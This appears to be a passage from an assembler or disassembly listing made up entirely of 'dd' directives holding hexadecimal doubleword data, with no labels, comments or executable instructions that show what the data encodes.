		dd 0F4DC721Dh, 0E78BDB00h, 0E74BE7Eh, 69AE25EAh, 0B5C0D16Ch
		dd 0AB801400h, 7E943509h, 0A6612CF3h, 59A30478h, 4EB6801Ch
		dd 8002857Ch, 0E1D89B8Ah, 81F840AAh, 0FB6E00EEh, 0B90BC358h
		dd 0F7000A0Ch, 679CF27Fh, 0F6FCD291h, 0ED5800FAh, 0FD8D2C3Ah
		dd 1600228Fh, 750BF7B2h, 7D4E1292h, 519C00BBh, 96233882h
		dd 0B50171EBh, 0D984D44Dh, 86083A4h, 6376B2h, 0BC240D6Fh
		dd 0B7215516h, 0B4A3Ah,	0D85349EAh, 1212972Bh, 59A57C0h
		dd 728B84h, 0E6819BE8h,	0EC00BB51h, 28181CB7h, 788437F5h
		dd 39890EFh, 334712D1h,	3FC0E48Eh, 6100712Ah, 6E66839h
		dd 4923Ch, 90DF6D09h, 79321BDBh, 7C690C0Bh, 99C58035h
		dd 0FCDD25E4h, 0C9F700F9h, 0CA0D5747h, 370484C8h, 8B8F2D9Fh
		dd 0E3B3B0C0h, 0C00C9211h, 3F1966C4h, 0BE2E59EEh, 3F089Ah
		dd 4F4E334Ah, 344F42Bh,	0C4ED1903h, 0A1C82743h,	0E7018775h
		dd 93BFD7F6h, 5284FA3Fh, 0C0A39171h, 889EDC00h,	80D2D00h
		dd 3F4B5FECh, 9B84Ch, 0E9BF2248h, 90DA12DEh, 0BEF240Eh
		dd 9BCA2038h, 1F5A9408h, 0CC91CCF6h, 0F821FA88h, 0EA288900h
		dd 7AAB3818h, 3CE60A08h, 0CC458Ch, 0A70E10EEh, 0C30E21F4h
		dd 20233F11h, 9C990AADh, 0A32C0056h, 0E3AA4C1h,	6C002894h
		dd 3BD8DB8Ah, 7583BA08h, 0E53900AAh, 5F5A0652h,	0DF05EB51h
		dd 0CF57169Fh, 80D35082h, 925DD2A4h, 142F0055h,	0A84BD5ADh
		dd 0CD02EF5Eh, 4288D0FCh, 0C96840D7h, 669A0ED1h, 9DC7EC10h
		dd 4318201Ah, 96003A0Dh, 0ABAF92BCh, 24E7DFF8h,	0EEC4521h
		dd 0D5A06E8Ch, 69E2D4Ah, 0B207C001h, 4FB68FEh, 0EEB5C4h
		dd 0BD933A51h, 35C4CFC5h, 20B62502h, 0A0329601h, 0EE2DB994h
		dd 0BE341D14h, 2109003Ah, 43849C02h, 0C537A017h, 3CFFA840h
		dd 265B6DCAh, 6C2B10h, 0B6AB5683h, 4C1F1746h, 93804F29h
		dd 2E696F02h, 282C008Ch, 83B41889h, 1F00DF49h, 31AA8F21h
		dd 1CC597h, 539C2A73h, 7664F851h, 0DA8E3Dh, 0AE796624h
		dd 759EEC1Fh, 407A07CBh
		dd 0B7DFFE8Dh, 0CE5590A3h, 871E3CEDh, 7E8A03h, 4B992F2Bh
		dd 140DABh, 0CB0B395Ch,	933BC23Ch, 0E8F26C06h, 188791h
		dd 0E7552D52h, 577BFAB8h, 603AC412h, 4FE4BC01h,	386094D9h
		dd 255B2889h, 58F27A90h, 0C803A65Ah, 0DFA127D5h, 2DCC40EDh
		dd 9D7F231Dh, 86DAB130h, 728D7E4h, 0ECAFA88Dh, 51CC20BAh
		dd 223DD5E3h, 680C14B4h, 54F30E89h, 0C5A1E090h,	3DC15B0h
		dd 0FD09C8E5h, 0F498E4CBh, 98006583h, 5E067C70h, 9EA46Ch
		dd 94EF5667h, 9960484Eh, 0DC32001h, 19C40CE2h, 9A6F8FC8h
		dd 0E739001Ch, 787195FFh, 80056FBh, 23F3048Dh, 1F765Ch
		dd 0F164518Ch, 0A9854DE1h, 3B68713h, 168D4C00h,	6ABC49Fh
		dd 1BF24486h, 1074185Ch, 91144200h, 7E0A409h, 9360000Ch
		dd 5B71ACD3h, 2B5804B4h, 59050028h, 8A6B5602h, 9470AAh
		dd 8BF5D3Ah, 28B0A919h,	60CB5C12h, 6C8CC401h, 10742DD7h
		dd 2D32824h, 71231FB9h,	0E648C7FBh, 0DD0DA095h,	0B60074E5h
		dd 622E5A3Bh, 6685CDh, 45FFC256h, 81F0A2F1h, 15DC0F00h
		dd 0DFCCA8B1h, 6AF8000Ah, 243DD6FAh, 900AA95h, 631FF20Dh
		dd 3D774742h, 3580807Dh, 0E25520DDh, 580EF882h,	0A0A65108h
		dd 0CFDCC18Eh, 37571BEh, 8FA02B21h, 0DF98FF42h,	849052BBh
		dd 8B3E2770h, 34585Bh, 112A0148h, 1B57C1Dh, 927E8041h
		dd 0E465263Fh, 0A900DC81h, 6023177Ah, 1CBC040h,	8C07CA3Ah
		dd 3087431Bh, 8E01B3DEh, 0D5C3CE86h, 78783CD9h,	4644FF03h
		dd 0F4CBB79Ah, 0A31080C4h, 0D53CB663h, 19730085h, 0E778D4Eh
		dd 0BB450095h, 0F2C0E536h, 0F5F8D0FDh, 0D80D2E03h, 0E0E91A7Eh
		dd 0E69A0C7Bh, 3877C92h, 2110744Eh, 12E87CE1h, 0B75C8E54h
		dd 0C9007151h, 0A45BA9EFh, 4BA69Bh, 33AAD6BBh, 79CBD769h
		dd 3D02609Eh, 69E24F7Ah, 9330982Ch, 0CEC60043h,	604AE3C0h
		dd 31005D61h, 6963D9C2h, 1E42836h, 9A5A213Dh, 0CCE7859Fh
		dd 7B7A97E1h, 37EC31F0h, 8D74730Ah, 3401BCAAh, 4D9D6817h
		dd 80D76B03h, 1BBFC830h, 0DE6A5000h, 0FE62ACEFh, 1C3AFA81h
		dd 786EE186h, 8C02C100h, 87DD750Eh, 9C1FB801h, 0A45FFE1Ch
		dd 0E8D68670h, 0F2302879h, 2C4F00BCh, 33774325h, 3890B3A7h
		dd 0EFD92B04h, 10C09772h, 0AFBE16h, 9E521A51h, 0D5DDEBF6h
		dd 850026E4h, 0A48F3212h, 5BD0EA03h, 288C00A3h,	0D5CFB0CDh
		dd 70F17DFAh, 3B4EBFC4h, 121BC38h, 3154294Bh, 0E84E9810h
		dd 394E8AC8h, 0ED926000h, 4B9084h, 52A5A418h, 97E931F1h
		dd 0DF62C005h, 0C8B0D371h, 9FB60070h, 0A120C5ACh, 7771EC7Ch
		dd 4B099301h, 8441C08Ah, 78380FE4h, 81E70E36h, 9EC0EADAh
		dd 4611E05Ah, 1C04C24Fh, 0A8A83FBBh, 3B3C02A8h,	20F7AEB3h
		dd 0C0939E09h, 0C1A6CCh, 8D0D91A8h, 0CD79E0D8h,	5F98C712h
		dd 0BE57D400h, 3E25990h, 9D935DEBh, 5D0F625h, 0CE00518Eh
		dd 3763D0AEh, 47D88Fh, 904E9B3Bh, 0BDE7A7F5h, 3D615200h
		dd 0B3C6995Eh, 465F2A1h, 198A795Dh, 48A806h, 0E22C29E0h
		dd 17E8629Fh, 0C81FE52Dh, 0CF57A5Ch, 0FBE0022h,	0BCFD0C83h
		dd 0E7FAD9A1h, 0ED0A2F00h, 55C83236h, 0B92A0709h, 0A6833E4h
		dd 28E20090h, 523AE145h, 83A20C00h, 1984366Bh, 6DEB00ADh
		dd 0AB289FA7h, 0A000AF97h, 0DB531859h, 6E602Ah,	895F3946h
		dd 4088BCF9h, 0B600FC74h, 0BED2831h, 1E32773Bh,	0C0FF8650h
		dd 14CBE55Bh, 5D001E74h, 0A68EB465h, 83A076h, 6F1ABE2Fh
		dd 6810406Eh, 0E411960Eh, 3C76971h, 0F04D1634h,	7894C3h
		dd 0C1791276h, 0DA82C00Eh, 7E000C96h, 0CCF9D238h, 39E7004Ah
		dd 12E3B616h, 18006C0Dh, 7C736A9Fh, 0B0D679A7h,	0AAD807ECh
		dd 0F0390A01h, 4211DEA6h, 0C1FD1E04h, 4880EBC3h, 0B03F1C26h
		dd 1EC92CBh, 7D34062Bh,	603668FBh, 3740B18h, 0FD1B3F00h
		dd 54614AC9h, 0F417CB9h, 8CF014E0h, 0A0DBA5E6h,	20E6C325h
		dd 0E7DCB544h, 661A0006h, 9D895C94h, 0A008267h,	1057AF1Dh
		dd 70343F8h, 48F0B69Ch,	0C16F8E54h, 81D6F5C0h, 0FF003C9Fh
		dd 0A9A7B856h, 4A902CBAh, 0A8484762h, 68ED328Ah, 1F9654C0h
		dd 2B6E3100h, 48908008h, 0E9F70012h, 83B7D96Dh,	2E14EE3Bh
		dd 0CBB192h, 0BECD42D6h, 6094413Ch, 5ED8506Dh, 21003A89h
		dd 0F4C9450Ah, 2301533h, 1CA87ED6h, 0D8634052h,	0A9B235A0h
		dd 0F8803A90h, 850012DCh, 39C68BF7h, 0C0E1DAE5h, 759FFB58h
		dd 1D0FD8D0h, 60C44925h, 1691B1B4h, 0D9F00096h,	208AA767h
		dd 430445D0h, 0ED3323D4h, 82EDC80h, 99790042h, 0F86C0554h
		dd 0B600326Dh, 0FD9565C6h, 4462D3h, 561E3EC7h, 9AE99DE0h
		dd 0FA05737Eh, 799132B1h, 2C8D50C0h, 7FC23161h,	2B27B488h
		dd 1C569C28h, 7CABEEDAh, 0FBADA30Eh, 0E08648C4h, 374E66E4h
		dd 0CC913807h, 0E389DB6h, 9E953DBEh, 742E1240h,	0E00D377h
		dd 2D1390BAh, 1FF228C2h, 0C050F307h, 31D418A8h,	0C00FC14h
		dd 57FE1544h, 7DE4EE9h,	38327D99h, 8F73F0DCh, 84018337h
		dd 3A79B307h, 0DE205AF8h, 94D3002Ah, 0DB1224D5h, 0B52C6C10h
		dd 591F6F09h, 0A4BE9B01h, 0E8DFCDA7h, 83888Dh, 98A161Ch
		dd 87D5975Fh, 73994600h, 0EBF07D29h, 0FC8600A2h, 47DC9C0Fh
		dd 5C01AAEAh, 36ECFADEh, 0A2FCDA97h, 9F170308h,	0BE447794h
		dd 0D39C212Ch, 0C056640Eh, 511FD481h, 72631E15h, 0BB1A83CBh
		dd 5488AAA0h, 1E002B35h, 351CD66h, 1ECE3C53h, 408B6A31h
		dd 0C0FF4037h, 0AD001AB1h, 51248096h, 0EB3C489h, 65AC6DF5h
		dd 0F9409163h, 0C2083DB8h, 56527E00h, 0A5436EC6h, 0E1FFB863h
		dd 9B09C040h, 0EF270064h, 88E8BCAh, 8C071D57h, 0D787E8B4h
		dd 91FB86F0h, 0C62000D4h, 2A6F1FC5h, 9A03A108h,	0CC197F69h
		dd 933F9092h, 0ED11FFEh, 0C9C80070h, 0D4D636BCh, 1DE44900h
		dd 134E617Bh, 4F78F6h, 0FEB24247h, 0D2BEE971h, 1AE58406h
		dd 0F0AB80h, 0F3F5891h,	985E4CC5h, 385A900Eh, 0ECF2601Ch
		dd 0E5D9F19h, 0FBC96F9Ah, 0D81B9D60h, 4A000DF4h, 13957AA4h
		dd 19EB805h, 926DE201h,	0D09BDE84h, 97A3E4DAh, 0BCCF54F8h
		dd 194FD02h, 809E068Dh,	0EDDF83F4h, 8F79006Dh, 5542D066h
		dd 0F00F912h, 0B4EE986Ch, 0F681F3h, 0DEDB2145h,	9D336D61h
		dd 73BA830Fh, 301E92DDh, 4094AECEh, 9AE46909h, 0DC600D5h
		dd 0C16F362Dh, 990047B0h, 0EA62AE93h, 0FE381Ah,	0E3F6863Dh
		dd 33A05420h, 4B411600h, 398CFA17h, 8F0F1E4Ch, 42F08010h
		dd 2B5D7C9h, 1729D604h,	2E80DED5h, 0D19F6Fh, 98A32416h
		dd 0B22FCF1Fh, 8653CC00h, 9526D968h, 0D20C01D5h, 0B75AA40h
		dd 0D713D415h, 2E0ED078h, 8ABCC12Ch, 71048465h,	0A9C0C902h
		dd 0FD1092h, 53273364h,	166D03Bh, 2F0ADF03h, 0D05FBB7Ah
		dd 734DB2Ah, 1E949BFBh,	4236D050h, 267FD195h, 0D4FCA000h
		dd 0FA5FEDB9h, 871D0040h, 5E6A01A9h, 180023C0h,	21A26070h
		dd 64E85Fh, 0E79FE9ADh,	0BC931C6Ch, 52FF0300h, 0F57EC153h
		dd 62CC0083h, 1BA04E72h, 5E00C589h, 0B7D23039h,	0F46D3654h
		dd 0F72100B2h, 17A3AFB0h, 0CF007642h, 530577D8h, 0A93F27h
		dd 0CD04265Ch, 871A6614h, 0BD2C200Ch, 68DD80Eh,	0B5E3FAD7h
		dd 0B00180DAh, 652CD961h, 0B2F9CD46h, 26B6CCh, 0F470B144h
		dd 8A28B878h, 0EEC2721Fh, 436DA840h, 0BF397Bh, 6F419C36h
		dd 3556442Ch, 0F73F2E0Ch, 0E9C430EBh, 98BBD970h, 0E80A00E5h
		dd 64153295h, 0E300A773h
		dd 0D1FBCD3h, 26B80CFh,	54FF2FAAh, 0B6E05984h, 45068FBAh
		dd 2CAB8DEDh, 9E5A01A2h, 39A7EB99h, 20A0C5FFh, 4E12BCCCh
		dd 0C500F431h, 0C87A0168h, 44EC1Fh, 0A5E62384h,	0CA705B48h
		dd 0AC005490h, 0BC521EA6h, 0E3F4FFh, 1DF57DCEh,	508CD3A2h
		dd 0B142032Eh, 0EBBC2E01h, 99D0C447h, 0D39AA6h,	8CE93A81h
		dd 7D36719Ch, 22F32400h, 0ED50A518h, 0CF211D0Fh, 7F4BC033h
		dd 5B8748B3h, 79C6624Ch, 12C05400h, 7A3A2DD8h, 11CD05B0h
		dd 80383D16h, 0E4FB4E9Ah, 0FE3F88F6h, 8E818010h, 21031ADDh
		dd 6CC00DFh, 0D446E86Dh, 120F3571h, 6752C67Bh, 0C140389Bh
		dd 0E176D01h, 4479CFCBh, 9485E2A0h, 0B5029C83h,	0A6DD924Fh
		dd 0F2A44004h, 0DC29004Eh, 57CB597Bh, 0E707E2DBh, 0E5C758FBh
		dd 6530E0F7h, 367066Fh,	6222632Eh, 50F849DAh, 69004058h
		dd 91DE527Bh, 0C22C31h,	6D79F1Bh, 8A82DB3h, 78C91107h
		dd 3F60B79Bh, 90957403h, 25E43E2Bh, 0ED1B6200h,	30D5B10Ch
		dd 3302570Eh, 0BFEB803Fh, 0FA90874Dh, 66CB04B2h, 80C9B4DFh
		dd 32A32024h, 1F924902h, 0E1B02486h, 0F3D0D37Dh, 7F5B039Ah
		dd 764A3E5h, 9CB6E001h,	992D0961h, 451C20h, 8D9AAAA7h
		dd 0D2EFF028h, 0B884DC04h, 0C09225F3h, 0BBF76020h, 1ED705Bh
		dd 0EA7710F4h, 0F0163929h, 0B00C4F6h, 2BE8BB41h, 110E9AFh
		dd 3FD1565Fh, 30A0682Ch, 2503D3D0h, 3BCFB917h, 9C76D00Ch
		dd 7C370057h, 93F99065h, 0E90BD202h, 807DEAE8h,	1AC366Ah
		dd 0D3860A0Bh, 0FCFCAFh, 0E5932AB8h, 32006058h,	2350527h
		dd 115D554h, 64E4A709h,	0F0DC936Dh, 4E07B10h, 8278A2EEh
		dd 9D884E03h, 8055C212h, 418A10Dh, 7288BE4h, 0A7FC800Fh
		dd 7900F433h, 0F96D8EAFh, 0CD0CF6h, 8AB0D60Bh, 42142BDEh
		dd 98496E00h, 0DFD8DD18h, 16F81C9Fh, 0A900F850h, 52E87F2Dh
		dd 3C3B0259h, 8DB7008Fh, 4967CE5Eh, 6F960E9Fh, 7100529Ch
		dd 13CBEF11h, 0F40B6000h, 0E24E03F2h, 1C274BDh,	99969C26h
		dd 0FA3163E6h, 0A3D18BE0h, 0ADF17602h, 80DF91C2h, 702A62B4h
		dd 0DC1E371Ah, 0D4174010h, 2D1BB21Ch, 0A0FEF2BCh, 13254EFBh
		dd 60920761h, 0A344E96Ch, 868BFCA0h, 0A6B0DF17h, 1FFC6B14h
		dd 0D48BEABEh, 7300074Eh, 45C9E070h, 0C49700A8h, 4F1480B4h
		dd 3F1C8EDAh, 7AC0C1C5h, 57636486h, 31F6A1h, 0C824E24Dh
		dd 38EF2518h, 9E4FA300h, 0CB7B1947h, 7E824CBBh,	88815800h
		dd 6DAB5D5Eh, 0CBC5A00h, 0A2D367F7h, 90500083h,	331E7741h
		dd 0EB00DB63h, 0C1DA11C0h, 26A887h, 0D6B677Fh, 0E3B91B02h
		dd 6686140Eh, 755D63BEh, 4652C8EFh, 87C2489Eh, 0B86BB600h
		dd 2F7660D7h, 516FAA00h, 85FE1737h, 0EA820021h,	42927F66h
		dd 9A00BE5Dh, 0ADE5F7Ah, 1F417920h, 0C0C11E11h,	26838244h
		dd 990A3B2Eh, 0BE236DFEh, 0E8EA6101h, 0E03B4A43h, 9E00FA9Bh
		dd 9DA7CB63h, 0B15D34h,	22B30340h, 0E3327E0h, 3C907B73h
		dd 8A0FD800h, 0C26DF081h, 50D90B4Bh, 970078FEh,	0B9939442h
		dd 0BF0010B0h, 0F14BC30Bh, 0F71FF23h, 0E7581A9Bh, 1601E12h
		dd 53DB50EBh, 3C89F4F4h, 6C095E00h, 0A1D05AD5h,	32F500CEh
		dd 23F371C3h, 1BF8F242h, 5B9781C3h, 10C6AC0Dh, 7A090059h
		dd 0EE926B91h, 40D68ECFh, 200F344Ch, 10761D33h,	180CA8DCh
		dd 51E4C7B9h, 0EE00887Dh, 170F0622h, 9456DAEh, 62569B27h
		dd 66440080h, 8C007241h, 0F90DB15h, 2793A6h, 34CAB702h
		dd 8B71B38Dh, 0C54EC400h, 0EA36253Bh, 3AB88Ch, 0C4C29DEh
		dd 40D38218h, 11C8CF0Eh, 67B92272h, 4237C17Dh, 1CF874D8h
		dd 0C0E7607Eh, 61C754DDh, 3F0387DCh, 51A4550Fh,	0AB81CD9h
		dd 0EFAC4016h, 8811B4BDh, 86CB4B0Fh, 53A88735h,	6907204Fh
		dd 6094EC18h, 7E5CE0C7h, 97003022h, 1B55752Ah, 0E8543242h
		dd 721C095h, 4773357Dh,	0A87A4407h, 0FDD3C15Fh,	994CD0A5h
		dd 81DA05BCh, 0AD1CF07h, 563068A0h, 1D00BB46h, 2E4BC11Ah
		dd 12003B24h, 204D05DDh, 0A6DA046h, 3CE0DE86h, 0A67E0174h
		dd 2470570Ch, 4E0EB86Ch, 6162819Ch, 3D87D767h, 512808AAh
		dd 53F4A20Ah, 0EF280044h, 0E187E093h, 0AD0390CBh, 0E46C393Eh
		dd 9703E7A5h, 881805EBh, 0D00278DDh, 0D57CD8A4h, 26011DFCh
		dd 8E7AEED0h, 44D2DC21h, 0CD4E003Ch, 0A74705FCh, 263B7EFFh
		dd 4A6F0078h, 28A66DAAh, 1C3C0C2Bh, 8768DD9Dh, 90CE4C00h
		dd 116F9C27h, 4F9200D8h, 8460C82Bh, 0F91DD9A8h,	480072BDh
		dd 9F09A7Bh, 0F740038h,	61F26FFAh, 72014587h, 96FE3B90h
		dd 0B4F00B85h, 9E9A00B0h, 2DBF5604h, 3900654Eh,	0DD8C82C8h
		dd 3F01D7FFh, 0E80CCB9h, 9FC1F9E8h, 0C00190Dh, 882C45EEh
		dd 3AF7DCh, 8F34F253h, 9F89B4C2h, 5B31E000h, 0ADAC8B4Eh
		dd 43CA03E6h, 36BAF547h, 210B3AA3h, 0ACE790h, 0F6B33556h
		dd 696A00B2h, 0A997C582h, 28C2AE5Dh, 603CC750h,	3C4C7138h
		dd 0F580785Ch, 0E5E1B1C4h, 5400EB85h, 0DD7731E3h, 3D369C90h
		dd 5CB11A6Eh, 0F8C7A840h, 0A00BA4Bh, 0F523FC11h, 14EE312h
		dd 6C81962Ch, 8053ACCFh, 3004AE20h, 52EE34ABh, 0C0C2201Dh
		dd 91866DFh, 7E330C50h,	51305A23h, 29018476h, 0F67282C5h
		dd 88C1AB0h, 62205B64h,	4424CD03h, 0ADD25168h, 303F841Fh
		dd 4F0A71BDh, 0F4A300ABh, 0B2598376h, 0CD0006EDh, 922BC91Dh
		dd 306E345Ah, 565137ADh, 8173754Dh, 9C71FD0Ah, 63E9059h
		dd 0A6ECC73Eh, 29A47B60h, 8FCC88B8h, 1BC4D7BCh,	7938D2h
		dd 8CB4D664h, 8AA41109h, 1D295F00h, 0F8C3A8FBh,	527400C6h
		dd 0B9E5CEC9h, 0C0A15748h, 8CEDD950h, 9056E9D1h, 0AE728C4h
		dd 0A390C4D8h, 10C01D59h, 0AB0BD28Dh, 9920633Bh, 81009192h
		dd 0A5A8B921h, 19DCBDh,	0CC4AA193h, 80CFBB9Dh, 0D9D69230h
		dd 1B4E2AAEh, 11F237ABh, 0EBBD57F8h, 7C0CFE74h,	82D6052h
		dd 2021C056h, 0EDCDBD7Eh, 16128B19h, 8618D640h,	0F92900B8h
		dd 531120AFh, 0BEE1B700h, 0D0E62B3Fh, 8B6FC200h, 0F9C366B2h
		dd 12E0145h, 7BA617C4h,	80C671ECh, 345720D1h, 580C5ABCh
		dd 840036DAh, 0BD136D18h, 0E0246C36h, 126F883h,	0EE492501h
		dd 0DC513E75h, 280C89E4h, 8D7AD704h, 61324232h,	0AC90B520h
		dd 0C7340004h, 12E34B10h, 0A509E7AAh, 2F48B19Eh, 9314E1A8h
		dd 11805F07h, 8E1C36Eh,	0A6149144h, 2838DA32h, 0AA46909Ah
		dd 0F6BD7201h, 0C7D8FFEh, 0FD2388E8h, 80F6BE01h, 60A540ADh
		dd 635207E8h, 0FAF20F5h, 395C90DCh, 9B186E33h, 0E9895CD6h
		dd 4EA30071h, 0E196CAF6h, 9E0C9D33h, 91AF9241h,	0AE050F4Dh
		dd 0D6005440h, 0F48779E2h, 1CA7B100h, 0B65D7FA5h, 0A07060DAh
		dd 59799817h, 807C2A49h, 1B60AC8Eh, 54448C02h, 0AC960197h
		dd 57060734h, 53D0F782h, 9A00EA5Ah, 0DA74251Dh,	31AF39FDh
		dd 89C93012h, 4C19E18h,	3D326F40h, 3BF3C906h, 1C827B7Dh
		dd 20704271h, 3129B6C0h, 884C5F28h, 90AE150Ah, 7B408007h
		dd 32A48F6h, 239D9233h,	8187CD1h, 1B209CB9h, 6A4B00FEh
		dd 0BEA4F9BCh, 34392EE7h, 15663B1Dh, 80D4AC4Fh,	0F884BD74h
		dd 0C364917Fh, 427C8735h, 40AA5501h, 0B001CAE9h, 18A580CCh
		dd 0E1421278h, 0FD5557DAh, 83C0E2E0h, 98A84889h, 8400A4BFh
		dd 7B8ECDBBh, 1F6E51E4h, 0C26FB13Dh, 94AA3374h,	7F1C9060h
		dd 3F457686h, 3A1C5BAh,	3841695h, 0E524ABA3h, 650A7F1h
		dd 8B2ED4h, 2A6796E2h
		dd 0E75036A8h, 6001B89Bh, 22C29D21h, 0E6885918h, 0EC2400DAh
		dd 1B4A7B66h, 0A8A8B313h, 0C81F620Ch, 0D880CBD7h, 0BCAB7C28h
		dd 35F90332h, 4A063EF6h, 38F5E901h, 308BDB6Ah, 56AE12E8h
		dd 87CDCE5h, 7A337F52h,	1C4FC4C4h, 0AAD501B6h, 0D4EE98D9h
		dd 0D606758h, 4EF472A1h, 0B1309BFh, 0B9006B40h,	0A104C6F5h
		dd 5BF8AA18h, 92343E29h, 33F21Ch, 4661C2B7h, 4389B59Eh
		dd 232868D4h, 52A101E7h, 188A3499h, 464140E5h, 9B4BC900h
		dd 37E4284Fh, 5642003Bh, 0B84A8EAFh, 0DF137D29h, 1C23C49Eh
		dd 8339B835h, 464C985Ch, 0D7BD01E1h, 36BA8D07h,	0EE89A70Ch
		dd 0C3AC20h, 242F638Eh,	9D9340F5h, 2C2B2E24h, 50514A4h
		dd 5888F251h, 5C30A493h, 8D1345B7h, 0A07C622Ah,	0AC938C20h
		dd 65DF0AE9h, 8088EB3Ah, 4683E595h, 0FE0FAD92h,	20A7CB2Ah
		dd 97B55F71h, 0D84F0024h, 0FAE4B136h, 8A00F906h, 9BB7A332h
		dd 0AA17F2C4h, 9D9840BCh, 50FB2058h, 0C549BB74h, 0CF828E40h
		dd 0C47248B7h, 704958h,	0AD373168h, 2F981F55h, 0B8A7DB49h
		dd 834B82F8h, 84A8ED73h, 577DF8B1h, 715F2901h, 2AB7C318h
		dd 68312C8h, 0B2916DB6h, 0AB989961h, 383E8F30h,	0B001C406h
		dd 0B8180520h, 82BF4BE2h, 94C6E04Ch, 7A701091h,	0A300863Eh
		dd 0E9773D73h, 0A8A3B17h, 0C844DB94h, 0BD084024h, 9F21F888h
		dd 77917Dh, 96BD7099h, 1397B110h, 827674h, 0EBD4C3ECh
		dd 86741D53h, 0CE05BA1Ch, 40AF0C85h, 0E39C3AC0h, 0A6AA0720h
		dd 4087A35Eh, 0D455041h, 52968103h, 88F42B5Dh, 1771DC9Bh
		dd 7F01C72h, 8095CE4Ch,	8D8366D0h, 1E00A8F2h, 79A3D02h
		dd 0F62F43h, 62D1D5B8h,	56BCB15Eh, 0C1E3F40Eh, 6C1AE057h
		dd 0AFA9A5h, 273CCE48h,	4462ABC4h, 87A73D00h, 0E48FCF85h
		dd 1EC77AF7h, 769ECA1h,	90DAE897h, 0A5026FA9h, 671A2900h
		dd 4FC5CC0Fh, 8CAA00F1h, 6FB08535h, 64008F1Dh, 3AB34E5Ch
		dd 3C6E77Fh, 0D39B7721h, 801F1B12h, 18C75C43h, 3A91EB55h
		dd 7E70D7F1h, 0F8EC0050h, 3D6BC9E2h, 2E006205h,	8660C688h
		dd 11BBE37h, 0CEF1CB4h,	0D5FFCFD8h, 0B5CBE49Dh,	0DA9A0101h
		dd 2D3A6ED2h, 923040F2h, 0C57799h, 4F3516E3h, 0DF883139h
		dd 0E1C48A00h, 196030F8h, 92032EE6h, 0B05C0094h, 637D1DB5h
		dd 41564Ch, 54D5CE79h, 0F39FECh, 0A587A9C5h, 0E2C35AC4h
		dd 0CD6F9900h, 14D8F53Dh, 0E35C0372h, 0B282D0FFh, 79174418h
		dd 1494E6C0h, 0A07C7283h, 680F913Dh, 7DA00F8Dh,	0D4548087h
		dd 0AC361200h, 4EEB7A39h, 5E500151h, 0EF43D5C8h, 92E2C4C7h
		dd 0CDE70D03h, 0D849F9ADh, 3D7574DEh, 818046C9h, 0D97A6639h
		dd 0F00052DDh, 4EE03EE9h, 6C0694h, 175F02E3h, 3957601Fh
		dd 2E533400h, 453C3D95h, 5D0903BEh, 98C854E1h, 0EE4B48E8h
		dd 4C003E76h, 6B0D6FDFh, 783691Ch, 40F6B9E7h, 8ED9109Dh
		dd 82796E12h, 0AADAE900h, 6BA8156h, 30A5008Ah, 39350841h
		dd 0B200332Bh, 9F1F76DAh, 7C75D3h, 43E70960h, 0EEF31602h
		dd 0FF9B8500h, 6C7B147h, 0A16F48AAh, 6A09AB00h,	865E3258h
		dd 80348300h, 29CFF0DBh, 0F5100067h, 2874037Fh,	0EF75ADAAh
		dd 9941ED60h, 18BE81h, 8FCA13EEh, 7B3AE47Ah, 73B78701h
		dd 5DE07835h, 0C4E1CCh,	2B15C649h, 0E707CB5Ch, 58BD421Fh
		dd 23F8003Ah, 0F975C39Eh, 3B6E1241h, 3EA60084h,	0DEAD2CCDh
		dd 0EE1C6901h, 8EF1287Dh, 18FDAE0h, 0EBD020FFh,	0FCFC7B44h
		dd 5D00550Dh, 8DBB6DB1h, 0F4995EB7h, 7FD100DEh,	24825412h
		dd 4D02A2E6h, 0EADCAB08h, 0E0C0A06Ch, 1D776717h, 0C3EB846Dh
		dd 323B3D24h, 6ED160D8h, 30195A7Fh, 1D09822Eh, 4BB72185h
		dd 0AC2490D6h, 0EA0E9810h, 0C0749ED3h, 3D773230h, 0DCF206BAh
		dd 60514809h, 8FE15421h, 0A0C2D653h, 0AC1B4DDFh, 160B5C48h
		dd 0FFD100A0h, 736CF886h, 84AE00B5h, 32F0BB97h,	0A3189639h
		dd 5B70332Dh, 56EE0007h, 2B3B7BCCh, 8CC73BAh, 17E9135h
		dd 3C1DEDBEh, 806D0198h, 0A9398394h, 67703754h,	60802947h
		dd 4973C1AFh, 1C98AE0Fh, 3BCA8013h, 1DD3BFh, 0D2F0DD85h
		dd 8476F4B6h, 335113Bh,	75A6ADA4h, 7763A88Eh, 0C23407D9h
		dd 0A312DAFDh, 0D8002823h, 16C4205Ah, 0B0B63E1Ch, 0E57301h
		dd 7EB824EFh, 8F38A851h, 3E1D8200h, 4D6C1E3Bh, 20705386h
		dd 0A2B7EF82h, 3653D18h, 43495789h, 0D00135D2h,	4A3E803Bh
		dd 4BE07B6Dh, 120CA001h, 0DA8F1E61h, 2D40C35Dh,	83005B8h
		dd 0A8A02164h, 0DA540096h, 0B4C96FA6h, 4A2872E7h, 0EE499E60h
		dd 0D1F58018h, 43EF5A13h, 37F224Ch, 15D64D42h, 8DF028B0h
		dd 3F54C309h, 410238B8h, 47AF4E01h, 5D9660BEh, 40751DDEh
		dd 493AC111h, 9F2FFCC3h, 7C807748h, 8923BFD4h, 0BD1B0E14h
		dd 0AA811557h, 0D81C3238h, 283BC9B2h, 1352805Dh, 0B0C3EBD7h
		dd 37770B7h, 2B6D172Eh,	0B5A80E1Ch, 63C4681h, 4B740024h
		dd 543B44C6h, 0D4201907h, 0A0A50822h, 0F0002C20h, 0FB4FE3E0h
		dd 305BBh, 0DE9CD22Eh, 27FC936Dh, 6541C00h, 886BAEA5h
		dd 0B240061h, 92399DD5h, 0F400A4FCh, 7958E663h,	63DCB50Ah
		dd 1C513804h, 208FECE2h, 18A62960h, 5E07484Ch, 5F2AAAF8h
		dd 215046h, 97ADB143h, 9A211252h, 67DE5E0Fh, 93720011h
		dd 3CCBD11Bh, 950E8C68h, 0A260FA87h, 0F0547CB8h, 3FC74E3Ah
		dd 8EC09FA8h, 0F7EB7E83h, 96E2A936h, 0E8E71BDCh, 0D27D3Fh
		dd 0EFDB451Eh, 9ED02199h, 0BC5AEC03h, 0A804A0E1h, 0CC6254Ch
		dd 44AEE4D2h, 0EB449528h, 6C14417h, 8B8024F2h, 1BA40B5h
		dd 449D3444h, 0D644E26Bh, 11AFA343h, 835BD28h, 11E092CDh
		dd 0FF8917EEh, 23E6800Fh, 0C0F5FC60h, 38CEE49Bh, 573AC9A2h
		dd 0F4DAC280h, 0F96E8E9Eh, 1070D500h, 0E8E6DC87h, 85A700ABh
		dd 2BAA9DC2h, 34006B89h, 7048EE54h, 0EBFC97h, 90C3D0F0h
